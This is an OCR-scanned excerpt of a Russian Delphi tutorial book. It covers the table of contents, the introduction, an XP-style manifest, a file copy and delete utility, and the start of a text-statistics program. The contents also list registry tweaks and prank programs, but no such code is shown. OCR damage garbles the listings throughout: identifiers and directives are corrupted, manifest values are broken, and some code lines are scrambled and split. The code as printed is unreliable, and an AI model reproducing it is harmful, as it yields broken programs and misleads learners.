Upload
c3tpeucep
View
435
Download
9
Embed Size (px)
Citation preview
С. М. Парижский
чщ
УЧИМСЯ НА ПРИМЕРАХ
Под редакцией Ю. А. Шпака
"МК-Пресс"
Киев, 2005
ББК 32.973.26-018.1УДК 681.3.06
П18
Парижский С. М.П18 Delphi. Учимся на примерах/Под ред. Ю. А. Шпака - К.: "МК-Пресс",
2005.-216с, ил.
ISBN 966-8806-02-6
Данная книга — продолжение предыдущей книги автора, "Delphi. Только практика".Также как и в "Delphi. Только практика", в данном издании подробно рассмотрены про-граммы для сетей, различные шуточные программы, простые игрушки, некоторые полез-ные приложения, разработка приложений в стиле Windows XP. В частности, здесь можнонайти такие примеры как бесплатная отправка SMS, FTP-клиент, простое шифрование,CGI-сценарии и многое другое. Описаны методы работы с системным реестром Windows иINI-файлами, а также некоторые важные аспекты программирования на системном уровнес применением функций Windows API. Для облегчения понимания программ каждый при-мер содержит комментарии сложных строк кода.
Книга ориентирована как на тех, кто уже имеет опыт создания приложений в Delphi,так и на начинающих программистов. Для начинающих пользователей Delphi в конце книгидобавлено приложение с описанием синтаксиса языка программирования Object Pascal.
ББК 32.973.26-018.1
Парижский Сергей Михайлович
DelphiУЧИМСЯ НА ПРИМЕРАХ
Главный редактор: Ю. А. ШпакКомпьютерная верстка: Ю. А. Шпак
© Парижский С. М., текст, иллюстрации, 2005I S B N 966—8806—02—6 © "МК-Пресс", оформление, дизайн обложки, 2005
Содержание 3
Содержание
ВВЕДЕНИЕ..... 9
ГЛАВА 1. ИНТЕРФЕЙС В СТИЛЕ WINDOWS XP 10
ГЛАВА 2. РАБОТА с ФАЙЛАМИ 13
ПОСТАНОВКА ЗАДАЧИ 13
РАЗРАБОТКА ФОРМЫ 13
РАЗРАБОТКА ПРОГРАММНОГО КОДА 14
Полный исходный код МОДУЛЯ 18
ГЛАВА 3. РАБОТА С ТЕКСТОМ. СТАТИСТИКА ДОКУМЕНТА 22
ПОСТАНОВКА ЗАДАЧИ 22
РАЗРАБОТКА ФОРМЫ 22
РАЗРАБОТКА ПРОГРАММНОГО КОДА 24
Полный исходный код МОДУЛЯ 25
ГЛАВА 4. Снимок ЭКРАНА 29
ПОСТАНОВКА ЗАДАЧИ 29
РАЗРАБОТКА ФОРМЫ 29
РАЗРАБОТКА ПРОГРАММНОГО КОДА 30
ПОЛНЫЙ ИСХОДНЫЙ КОДМОДУЛЯ : 3 I
ГЛАВА 5. ХРАНИТЕЛЬ ЭКРАНА 35
ПОСТАНОВКА ЗАДАЧИ 35
РАЗРАБОТКА ФОРМЫ 35
РАЗРАБОТКА ПРОГРАММНОГО КОДА 37
Полный исходный код МОДУЛЯ 39
ГЛАВА 6. ПРОГРАММА ПРОСМОТРА РИСУНКОВ 43
ПОСТАНОВКА ЗАДАЧИ 43
РАЗРАБОТКА ФОРМЫ 43
РАЗРАБОТКА ПРОГРАММНОГО КОДА 45
Полный исходный код МОДУЛЯ 47
ГЛАВА?. БЛОКНОТ-ШИФРОВАЛЬЩИК 50
ПОСТАНОВКА ЗАДАЧИ 50
РАЗРАБОТКА ФОРМЫ .' 50
РАЗРАБОТКА ПРОГРАММНОГО КОДА 51
Полный исходный код МОДУЛЯ 55
Интерфейс в стиле Windows XP
ГЛАВА 8. ИГРА " У С П Е Й ЩЕЛКНУТЬ" 59
ПОСТАНОВКА ЗАДАЧИ 59
РАЗРАБОТКА ФОРМЫ 59
РАЗРАБОТКА ПРОГРАММНОГО КОДА 61
Полный исходный код МОДУЛЯ 63
ГЛАВА 9. ИГРА "УГАДЫВАНИЕ ЧИСЕЛ" 66
ПОСТАНОВКА ЗАДАЧИ 66
РАЗРАБОТКА ФОРМЫ 66
РАЗРАБОТКА ПРОГРАММНОГО КОДА 68
Полный исходный КОДМОДУЛЯ 74
ГЛАВА 10. Вход в СИСТЕМУ 81
ПОСТАНОВКА ЗАДАЧИ 81
РАЗРАБОТКА ФОРМЫ 81
РАЗРАБОТКА ПРОГРАММНОГО КОДА 82
Полный исходный код МОДУЛЯ 86
ГЛАВА 11. ИНФОРМАЦИЯ О ПАМЯТИ 89
ПОСТАНОВКА ЗАДАЧИ 89
РАЗРАБОТКА ФОРМЫ 89
РАЗРАБОТКА ПРОГРАММНОГО КОДА 90
Полный исходный код МОДУЛЯ 91
ГЛАВА 12. ПРОГРАММА НАСТРОЙКИ WINDOWS 95
ПОСТАНОВКА ЗАДАЧИ 95
РАЗРАБОТКА ФОРМЫ 95
РАЗРАБОТКА ПРОГРАММНОГО КОДА 96
Полный исходный КОДМОДУЛЯ 99
ГЛАВА 13. ТЕСТ 103
ПОСТАНОВКА ЗАДАЧИ 103
Структуры базы вопросов и ответов 103
РАЗРАБОТКА ФОРМЫ 104
РАЗРАБОТКА ПРОГРАММНОГО КОДА 106
Полный исходный код МОДУЛЯ 115
ГЛАВА 14. ГЕНЕРАТОР ШУТОК 125
ПОСТАНОВКА ЗАДАЧИ 125
РАЗРАБОТКА ФОРМЫ 125
Содержание 5
РАЗРАБОТКА ПРОГРАММНОГО КОДА 125
Шутка №1 — ограничение диапазона движения мыши 127Шутка №2 — отключение кнопок мыши 128Шутка №3 — отключение клавиатуры .....128Шутка №4 — очистка буфера обмена 128Шутка №5 — назначение фона для Рабочего стола 129
Шутка №6 — выбор фона случайным образом 130Шутка №7— выключение монитора 131Шутка №8 — сообщение об ошибке, содержащее "мусор" 131Шутка №9 — открытие браузера Internet Explorer 132Шутка №10 — сброс системной даты/времени 132
Полный исходный код МОДУЛЯ 132
ГЛАВА 15. ОТПРАВКА СООБЩЕНИЙ В ЛОКАЛЬНОЙ СЕТИ 138
ПОСТАНОВКА ЗАДАЧИ 138
РАЗРАБОТКА ФОРМЫ 138
РАЗРАБОТКА ПРОГРАММНОГО КОДА '. 139
Полный исходный код МОДУЛЯ 141
ГЛАВА 16. УДАЛЕННОЕ УПРАВЛЕНИЕ УКАЗАТЕЛЕМ МЫШИ 144
ПОСТАНОВКА ЗАДАЧИ 144
РАЗРАБОТКА КЛИЕНТСКОЙ ПРОГРАММЫ 144
Разработка формы 144Разработка программного кода 145
РАЗРАБОТКА СЕРВЕРНОЙ ПРОГРАММЫ 147
Полный исходный код МОДУЛЕЙ 148
ГЛАВА 17. БЕСПЛАТНАЯ ОТПРАВКА SMS ЧЕРЕЗ INTERNET 152
ПОСТАНОВКА ЗАДАЧИ 152
РАЗРАБОТКА ФОРМЫ 152
РАЗРАБОТКА ПРОГРАММНОГО КОДА 154
Полный исходный код МОДУЛЯ 156
ГЛАВА 18. FTP-КЛИЕНТ 158
ПОСТАНОВКА ЗАДАЧИ 158
РАЗРАБОТКА ФОРМЫ 158
РАЗРАБОТКА ПРОГРАММНОГО КОДА 161
Полный исходный код МОДУЛЯ 165
Интерфейс в стиле Windows XP
ГЛАВА 19. НАПИСАНИЕ CGI-ПРИЛОЖЕНИЙ 171
ПОСТАНОВКА ЗАДАЧИ 171
РАЗРАБОТКА ПРОЕКТА 171
ПРИЛОЖЕНИЕ А. Коды КЛАВИШ И ИХ ЗНАЧЕНИЯ 174
ПРИЛОЖЕНИЕ Б. KYLIX — DELPHI ДЛЯ LINUX 177
ПРИЛОЖЕНИЕ В. СПРАВОЧНИК по РЕЕСТРУ WINDOWS 178
ОБЩАЯ НАСТРОЙКА ПК 178
Изменение разрешения экрана 178
Установка задержки перед появлением контекстного меню 178
Сокрытие изображение стрелки на ярлыках 178
Сокрытие приставки "Ярлык для... " 179
Запрет на редактирование реестра 179
Отключение динамика ПК 179
Включение динамика ПК 179
Отключение возможности автозапуска с CD-ROM. 179
Отключение всплывающих подсказок в Проводнике и
на Рабочем столе 180
Автоматическое наведение указателя мыши на активную кнопку. 180
Отключение возможности открывать диспетчер задач 180
Отключение возможности восстановления системы 180
Очистка swap при выключении компьютера. 180
ИЗМЕНЕНИЕ РАЗМЕЩЕНИЯ ПАПОК и КАТАЛОГОВ 181
Изменение размещения папки Избранное 181
Изменение каталога по умолчанию для программ 181
СОКРЫТИЕ ПУНКТОВ СИСТЕМНОГО МЕНЮ ПУСК 181
Сокрытие пункта Пуск —> Найти 181
Сокрытие пункта Пуск —» Программы —> Стандартные 181
С окры тие пункта Пуск —» Избранное 181
Сокрытие пункта Пуск —> Документы 182
Сокрытие пункта Пуск —> Панель управления 182
Сокрытие пункта Пуск—* Выполнить 182
Сокрытие пункта Пуск -> Настройка -» Принтеры 182
Сокрытие пункта Пуск—> Настройка —> Панель задач 182
Сокрытие пункта Пуск —> Завершение сеанса 183
Сокрытие пункта Пуск^> Выключить компьютер 183
Сокрытие всех дополнительных папок в меню Пуск 183
Содержание 7
Сокрытие папки Мои документы в меню Пуск. 183
СОКРЫТИЕ РАЗЛИЧНЫХ ЭЛЕМЕНТОВ ИНТЕРФЕЙСА 183
Сокрытие дисков в папке Мой компьютер 183
Сокрытие пиктограммы Принтеры в панели управления 184
Сокрытие вкладок Общие и Сведения в окне свойств принтера 185
НАСТРОЙКА РАБОЧЕГО СТОЛА 185
Сокрытие всех элементов Рабочего стола /55
Сокрытие пиктограммы Internet на Рабочем столе „ 185
Сокрытие пиктограммы Сетевое окружение на Рабочем столе 185
Отключение возможности вызывать окно свойств экрана 185
Отключение контекстного меню панели задач 186
Отключение контекстного меню Рабочего стола 186
Сокрытие папки Мои документы на Рабочем столе 186
СОКРЫТИЕ ВКЛАДОК ОКНА свойств ЭКРАНА 186
Сокрытие вкладки Оформление 186
Сокрытие вкладки Фон 186
Сокрытие вкладки Заставка 187
Сокрытие вкладки Параметры 187
НАСТРОЙКА БРАУЗЕРА INTERNET EXPLORER : 187
Сокрытие команд меню, кнопок и панелей 187
Сокрытие элементов окна Свойства обозревателя 189
Общая настройка браузера 190
ПРИЛОЖЕНИЕ Г. Язык OBJECT PASCAL 195
КОММЕНТАРИИ 195
ИДЕНТИФИКАТОРЫ 195
ВСТРОЕННЫЕ типы ДАННЫХ 196
Числовые типы 196
Символьный тип 197
Строковые типы 197
Булев тип данных 197
Массивы 197
КОНСТАНТЫ 198
ПЕРЕМЕННЫЕ 198
ПОЛЬЗОВАТЕЛЬСКИЕ ТИПЫ ДАННЫХ 199
Множества 199
Перечислимые типы 200
Подтипы 201
Интерфейс в стиле Windows XP
ЗАПИСИ 201
КЛАССЫ 202
Определение членов класса 202
Свойства класса 204
Методы класса 205
КОНСТРУКЦИЯ WITH-DO 205
СТРУКТУРА ПРОЕКТА DELPHI 206
Файл проекта . dpr 206
Файл программного модуля .pas 207
ПРОЦЕДУРЫ И ФУНКЦИИ 208
Параметры 208
Вызов процедур и функций 209
Досрочный выход из процедуры или функции 209
ОПЕРАТОРЫ 209
Оператор присваивания 210
Арифметические операторы 210
Булевы операторы 210
Операторы сравнения 210
Побитовые операторы 210
Строковые операторы 211
Операторы, применяемые к множествам 211
Операторы, применяемые с объектами 211
Группировка операторов 212
Порядок выполнения операторов 212
БЛОКИ ПРОГРАММНОГО КОДА 2 1 2
КОНСТРУКЦИИ ВЕТВЛЕНИЯ 212
Оператор if, 212
Оператор case 213
ЦИКЛИЧЕСКИЕ КОНСТРУКЦИИ 213
Конструкция for-do 213
Конструкция while-do 214
Конструкция repeat-until 214
Досрочный выход из циклов 214
ОБРАБОТКА ИСКЛЮЧЕНИЙ 214
Блок операторов finally 216
Введение 9
ВведениеВ своей первой книге, "Delphi. Только практика", автор рассмат-
ривал примеры различных интересных программ. Эта книга являетсяпродолжением первой книги. Продолжением, поскольку исходные кодыпрограмм, которые рассматриваются в первой и второй книге, не повто-ряются. Также как и в "Delphi. Только практика", в данном изданииподробно рассмотрены программы для сетей, различные шуточные про-граммы, простые игрушки, некоторые полезные приложения, разработ-ка приложений в стиле Windows XP. В частности, здесь можно найтитакие примеры как бесплатная отправка SMS, FTP-клиент, простоешифрование, CGI-сценарии и многое другое.
Поскольку рассмотренные примеры достаточно просты, то даже на-чинающий программист сможет быстро освоить азы написания прило-жений в Delphi и перейти к разработке собственных проектов (описаниесинтаксиса языка программирования Object Pascal представлено в при-ложении Г). Само собой разумеется, что для изучения изложенногов книге материала желательно знать основы работы с Windows, по-скольку Delphi — средство разработки программ именно для этой опе-рационной системы.
Структура книги такова, что ее не обязательно читать от начала доконца, — можно просто открыть любую главу и разработать рассматри-ваемую программу. Все примеры подробно объясняются и содержаткомментарии сложных строк кода. Книга будет интересна как опытнымпрограммистам, так и тем, кто только начал изучать язык программиро-вания Delphi.
К книге прилагается компакт-диск, содержащий исходные и ис-полняемые файлы всех рассмотренных программ, а также цветные ко-пии рисунков.
10 Интерфейс в стиле Windows XP
Глава 1
Интерфейс в стиле Windows XP
Как известно, интерфейс программ, написанных на Delphi и запус-каемых в операционной системе (ОС) Windows XP, при любом стилеоформления будет иметь одинаковый вид. В этой главе будет показанокак написать программу, которая будет отображаться в стиле ХР.
С помощью любого редактора создайте текстовый файл и введитев нем следующий текст:<?xml version="l.О" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.vl"manifestVersion="l.0"><assemblyldentity
name="Microsoft.Windows.ApplicationName"processorArchitecture="x8 6"version="l.0.0.0"type="win32"/>
<description>ApplicationDescription</description><dependency>
<dependentAssembly><assemblyldentity
type="win32"
name="Microsoft.Windows.Common-Controls"version="6.0.0.0"processorArchitecture="x8 6"publicKeyToken="6595b6414 4ccfldf"language="*"
</dependentAssemblу></dependency>
</assembly>
Сохраните этот файл под именем с: \xp_style . txt . Затем создай-те еще один текстовый файл следующего содержания:[Т~2Т~сТ\xp_style.txt
Сохраните этот файл под именем xp_style.rc в каталогеC:\Program file\Delphi\Bin.
Введение 11
Файлы x p _ s t y l e . t x t и x p _ s t y l e . r e можно найти на прилагаемом к книгекомпакт-диске в папке C h a p t e r 0 1 .
ПримечаниеУказанный выше путь к папке B i n предполагает, что Delphi был установленв каталог, выбранный по умолчанию. Если при установке был выбран другой ката-лог, то используйте именно его. Далее в книге будет везде использован путь поумолчанию.
Теперь запустим программу C:\Program f i le\Delphi\Bin\brcc32 . ехе, передав ей в качестве параметра имя файла хр s t y l e . re.Для этого следует перейти в режим командной строки, выполнив ко-манду системного меню Пуск • Выполнить, а затем в диалоговом окнеЗапуск программы введя команду cmd и нажав клавишу <Enter>. В ре-жиме командной строки с помощью команды cd перейдем в каталогС: \Program f i le\Delphi\Bin и выполним следующую команду:brcc32.exe xp_style.rc
В результате в каталоге C:\Program f i l e\Delphi\Bin долженпоявиться ресурсный файл x p s t y l e . res , который следует подклю-чать к приложению в том случае, когда его требуется оформить в стилеWindows XP.
Проверим, так ли это, создав программу в стиле ХР. Откройте диа-логовое окно настройки свойств Рабочего стола и выберите тему Win-dows ХР (если она еще не выбрана).
Создайте в Delphi новый проект и разместите на форме компонентEdit категории Standard. Присвойте его свойству Text следующее зна-чение: Все компоненты и сама форма в стиле Windows ХР. Нижеразместите кнопку (компонент Button категории Standard), при нажа-тии которой будет появляться информационное окно (оно тоже должно
_Х1 :̂̂ Обработ^чик события ОпС 1 i с к для КНОПКИ:
procedure TForml.ButtonlClick(Sender: TObject);
begin
ShowMessage(Editl.Text);
end;
Теперь при нажатии КНОПКИ будет появляться окно, содержащеетекст, извлеченный из поля для ввода. Запустим программу на выпол-нение. Как видим, внешний вид интерфейса никак не изменился, несмотря на то, что выбрана тема Windows ХР.
12 Интерфейс в стиле Windows XP
Для того чтобы решить эту проблему найдите в программном моду-
ле раздел i m p l e m e n t a t i o n (сейчас в нем указано только подключение
файла формы *.dfm при помощи директивы {$R *.dfm}). Для того
чтобы подключить наш файл ресурсов, следует в разделе i m p l e m e n t a -
t ion ^2^3^—^915.9Ш1 ; ____.($R x p _ s t y l e . r e s }
Теперь можно запустить программу и насладиться интерфейсом ХР
(рис. 1.1).
Все компоненты и сама форма в стиле ХР
Рис. 1.1. Элементы формы отображаются в стиле Windows ХР
Введите в поле какой-либо текст и нажмите кнопку — должно поя-
виться информационное окно, которое также будет отображаться в сти-
ле Windows ХР (рис. 1.2). При этом, размер ехе-файла увеличился всего
лишь на несколько сотен байт.
Все компоненты и сама форма в стиле ХР
Рис. 1.2. Информационное окно также отображается в стиле Windows ХР
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 0 1 .
Постановка задачи 13
Глава 2
Работа с файлами
Постановка задачиРазработать программу для работы с файлами. Программа должна
предоставлять стандартные функции, используемые при работе с фай-лами: копирование, перенос, удаление.
Разработка формыСоздайте новый проект Delphi. Первым делом разработаем интер-
фейс программы. Изменим некоторые свойства главной формы. Преждевсего, присвойте соответствующее значение свойству Caption (заголо-вок формы) — например, Работа с файлами. Поскольку окно нашейпрограммы должно всегда находиться поверх всех остальных окон, сле-дует присвоить свойству FormStyle значение fsStayOnTop. Большеникаких свойств формы изменять не будем.
Разместите в левом верхнем углу формы, один над другим два ком-понента Label (метка) категории Standard. Для верхней метки присвой-те свойству Caption значение Что:, а для второй - - Куда:. Рядом сметками разместите по одному компоненту Edit (поле ввода) категорииStandard. Присвойте свойству Name (имя) верхнего поля значение from,а свойству Name нижнего — значение where. Свойствам from.Text иwhere. Text присвойте пути по умолчанию, например: c : \ L t x t иd i \ 2 . t x t .
Для того чтобы не утруждать пользователя копированием или руч-ным вводом путей размещения файлов, воспользуемся стандартнымидиалоговыми окнами открытия и сохранения файлов. Диалоговом окнуоткрытия файла соответствует компонент OpenDialog категории Dia-logs, а диалоговому окну сохранения — компонент SaveDialog той жекатегории. Разместим эти компоненты на форме. Для удобства изменимзначение свойства OpenDialogl.Name на Openl, а значение свойстваSaveDialogl,Name на Savel.
14 Работа с файлами
Справа от полей from и where разместим кнопки вызова диалого-вого окна обзора (компоненты Button категории Standard). СвойствуCaption этих кнопок присвойте значение Обзор или просто поставьтеточки. При желании, можете изменить размеры кнопок.
Разместите на форме под полем where компонент Label категорииStandard и присвойте его свойству Caption значение Размер файла:.Справа от этой метки разместите еще один компонент Label, очистивдля нее свойство Caption — эта метка будет отображать размер обра-батываемого файла.
Ниже разместим две кнопки (компоненты Button), присвоим ихсвойствам Caption значения Копировать и Вырезать. Под этимикнопками разместим компоненты, которые будут использоваться длявыбора и удаления файлов: компонент Edit для ввода пути к файлу,кнопка вызова диалогового окна обзора и кнопка для удаления файла.
Свойству Editl.Name присвоим значение Del, а свойству Text -путь по умолчанию. Кнопку Обзор разместим справа, а кнопку Удалитьфайл — под полем Del.
Полученная форма должна соответствовать рис. 2.1.
р•Работа с файлами
Что: • ICA1.txt
Куда: • D: V2.txt
Размер файла:
Копировать Вырезать
D:\1.txt
Удалить Файл
Рис. 2.1. Форма Работа с файлами
Разработка программного кодаРазработаем процедуру копирования файла. Это можно было бы
реализовать средствами WinAPI, однако в этом случае процедура, хотя
Разработка программного кода 15
и была бы менее громоздкой, оказалась бы "привязанной" к системе,что для программ нежелательно, поэтому лучше воспользоваться биб-лиотеками Delphi.
Для начала объявим нашу процедуру (назовем ее doit) как закрытыйчлен класса формы:
typeTFormi = class(TForm)
private{ Private declarations }procedure doit;
public{ Public declarations }
end;
Реализацию процедуры создадим в разделе implementation:
ПримечаниеЗдесь и далее при разработке описанных в книге программ комментарии, при же-лании, можно не вводить. Текст, обязательный для ввода, выделен в листингахполужирным шрифтом.
i
procedure TFormi.doit();var
f1, f 2 : file of Byte; //Работа с первым и вторым файломсор: Byte; //Для побайтового копированияsizez: Longlnt; //Хранит размер файла
begin{$1-} //Отключаем директиву, которая отслеживает ошибки
//ввода/выводаtry //Начало блока обработки исключений
//Связываем файловую переменную fl с первым файломAssignFile(fl, from.Text);//Связываем файловую переменную f2 со вторым файломAssignFile(f2, where.Text);
Reset(fl); //Открываем первый файл на чтениеsizez := Trunc(FileSize(f1)); //Определяем размер файла//Отображаем размер файл для пользователяLabel4.Caption := IntToStr(sizez div 1024) + 'Кб
1;
(Создаем второй файл или перезаписываем его, если он ужесуществует}
Rewrite(£2);while not Eof (fl) dobegin //Пока не достигнут конец первого файла
//Считываем один байт из первого файлаBlockRead(fl, cop, 1);//Записываем один байт во второй файл
16 Работа с файлами
BlockWrite(f2,cop,1);
end;
CloseFile(fl); //Закрываем первый файлCloseFile(f2); //Закрываем второй файл
finally;
end; //Конец блока обработки исключенийif IOResult <> 0 //Если возникла ошибка ввода-вывода
then MessageDlg('Ошибка при копировании файла!',
mtError, [mbOk],0) //сообщение об ошибкеelse begin
{Если ошибок не было, то выводим окно об успешномокончании копирования)
ShowMessage('Успешно скопировано!');
L end;
end;
Различные конструкции языка Object Pascal (комментарии, операторы ветвления,обработка исключений и др.) рассматриваются в приложении Г.
Эта процедура будет использоваться при копировании и переносефайлов. Сначала мы открываем файлы, которые выбрал пользователь, азатем проверяем, не было ли ошибок при их открытии. Если ошибок небыло, то отображаем пользователю размер исходного файла и начинаемсчитывать байты из первого файла, записывая их во второй. Если копи-рование завершено и ошибок при этом не произошло, то отображаемсообщение об успешном окончании копирования.
Процедура d o i t вызывается при нажатии кнопки Копировать:procedure TForml.ButtonlClick{Sender: TObiect);
По нажатию кнопки Вырезать должно происходить обычное копи-ювание с последующим удалением скопированного файла:procedure TForml.Button5Click(Sender: TObject);begin
doit; //копируемDeleteFile(from.Text); //удаляем исходный файл
end;
Теперь создадим процедуры выбора и сохранения файла с помощьюстандартных диалоговых окон. Для выбора первого (исходного) файласледует создать следующий обработчик события OnClick (кнопке But-ton2 соответствует поле from):[procedure TForml. Button2Click (Sender: TObjectTl •—•••••••••••••• ~ ~ j
Разработка программного кода 17
beginif Openl.Execute
then from.Text :=
else ShowMessage(
end;
Openl
'Файл.FileName
не был открыт');
При нажатии кнопки Обзор открывается диалоговое окно выборафайла (Openl. Execute). Если в этом окне пользователь нажал кнопкуОтмена (Openl. Execute = False), то сообщаем ему об этом и не вы-полняем никаких действий. Если пользователь выбрал файл, то копиру-ем путь к нему в соответствующее поле ввода.
Создадим аналогичный обработчик события для выбора пути на-значения при копировании первого файла (кнопке Button3 соответст-вует поле where):procedure TForml.Button3Click(Sender:begin
if Savel.Executethen where.Text :=
else ShowMessage('
end;
Savel.FileName
TObject);
Вы не выбрали место для сохранения файла! ') ;
Здесь выполняется та же проверка, что и в предыдущем случае. За-тем выбранный путь заносится в соответствующее поле ввода, чтобыего, при желании, можно было откорректировать.
Теперь создадим аналогичный обработчик события OnClick для
[procedure TForml.Button4Click(Sender: TObject);I begin
if Openl.Execute
then Del.Text := Openl.FileName
else ShowMessage('Файл не был открыт!');
procedure TForml.Button6Click(Sender: TObject);begin
DeleteFile(Del.Text); //удаляем файлif not FileExists(Del.Text) //проверяем существование файла
then ShowMessage('Файл удален!'); //выводим сообщениеend;
Сначала мы удаляем файл, а затем проверяем, существует ли он надиске после выполнения операции удаления. Если его не существует, товыводим сообщение об успешном удалении файла. Теперь можно от-
2 — 5-1212
18 Работа с файлами
компилировать и запустить программу на выполнение. Внешний вид
окна Работа с файлами в действии показан на рис. 2.2.
i f Работа с файлами ш1Р\ X
Что: JCADocuments and Settings'1^ее1\Рабоч
Куда: |5лРго1ес(.еке
Размер файла: 389Кб
Копировать Вырезать
I D:\Projectexej
Удалить файл
Рис. 2.2. Программа Работа с файлами в действии
Полный исходный код модуляПолный код модуля программы Работа с файлами представлен
в листинге 2.1.
Листинг 2.1. Модуль программы Работа с файлами
unit Unitl;
interface
usesWindows,Controls,
typeTForml =
Messages, SysUtils, Variants, Classes, Graphics,Forms, Dialogs, StdCtrls, ShellAPI, Gauges;
class(TForm)from: TEdit;where:ButtonlLabell:Label2:Label3:Label4:
TEdit;: TButton;TLabel;TLabel;TLabel;:TLabel;
Полный исходный код модуля 19
Листинг 2.1. Продолжение
Button2: TButton;Button3: TButton;Openl: TOpenDialog;Savel: TSaveDialog;Button4: TButton;del: TEdit;Button5: TButton;Button6: TButton;procedure ButtonlClick(Sender: TObject)procedure Button2Click(Sender: TObject)procedure Button3Click(Sender: TObject)procedure Button5Click(Sender: TObject)procedure Button4Click(Sender: TObject)procedure Button6Click(Sender: TObjent)
private( Private declarations }procedure doit; //объявление процедуры doit
public{ Public declarations }
end ;
var Forml: TForml;
implementation
{$R *.dfm}
procedure Tforml.doit() ;var
fl,f2: file of byte; //работа с первым и вторым файломсор: byte; //для побайтового копированияsizez: longint; //хранит размер файла
begin{$1-} {отключаем директиву, которая следит за ошибками
ввода/вывода}try
//связываем Файловую переменную fl с первым файломAssignFile(fI, from.Text);//связываем файловую переменную f2 со вторым файломAssignFile(f2, where.Text);Reset(fl); //открываем первый файл на чтениеsizez := Trunc(FileSize(f1)); //узнаем размер файла//Отображаем размер файл для пользователя}Label4.Caption := IntToStr(sizez div 1024) + 'Кб
1;
{Создаем второй файл или перезаписываем его, если онуже существует}
2* ~~~ " ~™~
20 Работа с файлами
Листинг 2,1. Продолжение
Rewrite(f2);while not Eof(fl) dobegin //пока не достигнут конец первого файла
//считываем один байт с первого файлаBlockRead(fl, cop, 1);//записываем один байт во второй файлBlockWrite(f2, cop, 1);
end;
CloseFile(f1); //закрываем первый файлCloseFile(f2);// закрываем второй файл
finally;end;
if IOResult <> 0 //Если возникла ошибка ввода-выводаthen MessageDlg('Ошибка при копировании файла! ',
mtError, [mbOk],0) //сообщение об ошибкеelse begin
[если ошибок не было, то выводим окно об успешномокончании копирования}ShowMessage('Успешно скопировано!');
end;end;
procedure TForml.ButtonlClick(Sender: TObject);begin
doit;end;
procedure TForml.Button2Click(Sender: TObject);begin
if Openl.Execute then from.Text := Openl.FileName
else ShowMessage('Файл не был открыт');end;
procedure TForml.Button3Click(Sender: TObject);begin
if Savel.Execute then where.Text := Savel.FileNameelse
ShowMessage(''Вы не выбрали место для сохранения файла!1;
end;
procedure TForml.Button5Click(Sender: TObject);begin
doit;DeleteFile(from.Text); //удаляем исходный файл
end;
Полный исходный код модуля 21
Листинг 2.1. Окончание
procedure TForml.Button4Click(Sender: TObject);begin
if Openl.Execute then del.Text := Openl.FileNameelse ShowMessage('Файл не был выбран
1);
end;
procedure TForml.Button6Click(Sender: TObject);begin
DeleteFile(del.Text); //удаляем файлif not FileExists(del.Text)
then //проверяем существование файла-//выводим сообщение об,успешном удаленииShowMessage('Файл удален!') ;
end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r _ 0 2 .
22 Работа с текстом. Статистика документа
Глава 3 ____
Работа с текстом. Статистикадокумента
Постановка задачиРазработать программу, которая выводит статистику выбранного
пользователем документа. Статистические данные включают в себя ко-личество слов, символов, пробелов и строк.
Разработка формыСоздадим новый проект Delphi и разработаем интерфейс програм-
мы. Измените значение свойства Caption главной формы на Стати-стика. Разместите на форме компонент Label категории Standard, иприсвойте его свойствам значения согласно табл. 3.1.
Таблица 3.1. Свойства компонента L a b e l , размещенного на форме Статистика
Свойство
Capt ion
Font .Color
Font.Name
F o n t . S i z e
F o n t . S t y l e
L e f t
Top
Значение
Статистика
clRed
Cour ier New
16
[ f s B o l d ]
128
8
Пояснение
Надпись метки
Цвет надписи — красный
Шрифт надписи
Размер шрифта надписи
Стиль шрифта — полужирный
Отступ слева
Отступ сверху
Ниже разместите компонент Edit категории Standard (поле ввода),в котором будет храниться путь к обрабатываемому файлу. Справа отнего разместим кнопку (компонент Button категории Standard), котораябудет открывать окно обзора для выбора файла. Присвойте свойствуB u t t o n l . C a p t i o n значение Обзор.
Для реализации выбора файла разместите на форме компонентOpenDialog категории Dialogs. Измените значение свойства Name этогокомпонента на Openl.
Разработка формы 23
Разместите на форме четыре компонента Label и присвойте ихсвойству Caption значения Слов, Символов, Пробелов и Строк. Рас-положите эти метки одну над другой вдоль левого края формы и уста-новите свойства шрифта согласно табл. 3.2.
Таблица 3.2. Свойства шрифта компонентов L a b e l
Свойство
Font.Name
Font.S ize
F o n t . S t y l e
Значение
Cour ier New
12
[ f s B o l d ]
Пояснение
Шрифт надписи
Размер шрифта надписи
Стиль шрифта — полужирный
Разместите на форме справа от каждого предыдущих четырех метокеще четыре компонента Label и присвойте им имена (свойство Name)words, symbols, spaces и l i n e s . Присвойте значения свойствам этихметок согласно табл. 3.3.
Таблица 3.3. Свойства компонентов w o r d s , s y m b o l s , s p a c e s и l i n e s
Свойство
Caption
Font .Color
Font.Name
Font.S ize
F o n t . S t y l e
L e f t
Значение
0
clRed
Courier New
12
[fsBold]
112
Пояснение
Надпись метки
Цвет надписи — красный
Шрифт надписи
Размер шрифта надписи
Стиль шрифта — полужирный
Отступ слева
В првом нижнем углу формы разметим кнопку (компонент Button),по нажатию которой будут выполняться рассчеты и выводиться все дан-ные. Свойству Caption этой кнопки присвоим значение Статистика.На этом разработка формы завершена. Полученный результат долженпримерно соответствовать рис. 3.1.
I B Статистика
: Щ:Слов:
Символов:
• Пробелов:
Строк:
•' 0
: 0
: Р.
С т а т и с т и к а : . : : : : : : : : : : . : : • :
; ; 1 cAautoeKec.bat Обзор...
Статистика
Рис. 3.1. Форма Статистика
24 Работа с текстом. Статистика документа
Разработка программного кодаВ этой программе следует обработать только два события: нажатие
кнопки Обзор и нажатие кнопки Статистика. Сначала — о кнопке Обзор:procedure TForml.ButtonlClick(Sender: TObject);begin
//начинаем обзор с текущей папкиOpenl.InitialDir := GetCurrentDir;
if Openl.Execute
then Editl.Text : = Openl.FileName //открываем диалоговое//окно выбора файла
else ShowMessage('Файл не выбран!');[end;
Начинаем обзор с каталога, в котором в данный момент находитсяпрограмма. Затем следует стандартная проверка: если файл не был вы-бран, то сообщаем об этом пользователю, иначе отображаем путь к фай-лу в поле E d i t l .
При нажатии кнопки Статистика выполняется подсчет и отображе-
jprocedure TForml.Button2Click(Sender: TObject);j var
f: file of byte; //Переменная для работы с файломstr: byte; //Содержит считанный байтoldstr, symbol, word, line, space: Integer; //Стат. данные
begin
symbol := 0; //обнуляем предыдущие результатыword := 0;
space := 0;
